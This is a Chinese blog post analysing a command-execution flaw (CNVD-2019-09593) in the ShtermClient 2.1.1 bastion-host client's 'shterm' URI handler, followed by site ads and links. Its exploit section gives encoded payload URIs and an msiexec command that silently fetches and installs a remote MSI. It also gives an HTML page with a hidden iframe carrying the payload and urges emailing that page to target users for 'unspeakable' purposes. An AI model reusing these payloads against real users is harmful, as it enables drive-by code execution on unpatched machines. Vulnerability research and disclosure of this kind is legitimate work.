齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析
一、基本信息
参考:https://www.cnvd.org.cn/flaw/show/1559039
补丁信息:该漏洞的修复补丁已于2019年4月1日发布。如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。
二、漏洞挖掘过程
这是我第一次接触运维堡垒机,通过堡垒机登录目标服务器/应用,就像在本地直接打开一样,觉得很神奇。
1、挖掘过程
首先,在安装齐治运维堡垒机客户端软件ShtermClient后,会在计算机上注册一个伪协议“shterm”。堡垒机正是通过该协议,调用本地程序打开了连接到堡垒机的通道。如下图是chrome浏览器打开链接时的提示。
我们可以在注册表中找到它,Command子项指明了如何处理shterm协议的URI。
通过对该过程的抓包分析,发现将”app”:”mstsc”改为”app”:”calc”,生成的shterm URI即可打开本地的计算器。一度认为命令只能注入app参数,后来使用Procmon.exe监控LoadShell.exe的执行,发现会在%tmp%目录下生成一些日志文件,通过分析日志文件以及多次测试,得到了最终可行的利用方案。
Client/inflate.php源代码,可见服务端仅是将提交的数据,先进行压缩,在进行base64编码后即输出。
2、漏洞验证
如果你使用了存在漏洞的shtermclient,在浏览器中打开以下链接,将会在本机打开计算器calc.exe。
shterm://eJyrVkosKFCyUkpOzElWqgUAIf8Ejw==
三、漏洞利用
1、搭建测试环境
首先在靶机上安装ShtermClient-2.1.1。
然后,在kali上搭建PHP环境,以便生成shterm URI,见下图。
在靶机的浏览器中打开链接,即可弹出计算器。
2、Exploit
如下图,提交该POST请求,生成的shterm URI将会执行命令:
msiexec.exe /q /n /i https://github.com/Yasushi/putty/archive/master.msi
然后,把shterm URI放入iframe中,将该html页面的地址通过邮件或者你能想到的其他途径发给目标用户,即可达到不可告人的目的。
1 2 3 4 5 6 7 8 9 10 11 | < html > < head > < meta charset="utf-8" /> < title >demo</ title ></ head > < body > < h1 >demo</ h1 > < h1 >齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)</ h1 > < br >< h1 >Hacked by StudyCat</ h1 > < iframe width="1" height="1" src="shterm://eJx1T8tqwzAQ/BWz5yC0tuu4uvWWQyAuDTm2yI9i48c6kt0klP57VzK4aaFCh5nZ2dndTygvoKBRGCUJbKCsPdsmKRNtmViVPsZxHByOGaonSbv96fwsB0RMIva8a+9BKeIHgSl/FUb8XPvss0KGtlhhPo7LQDfODoxf6qkyfWboentbc8KtK7tt/khuniGa7KzLvhms06bftuA1+CeTK/e9TK03ckhb3XLSpqyJ2mVBFnsamokMKLkBdjlZslwVKxx/oO7WI7U/stBdweSj4gAIBQoXOZvufltM4esbMSFnCg=="></ iframe > </ body > </ html > |
转载请注明出处。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)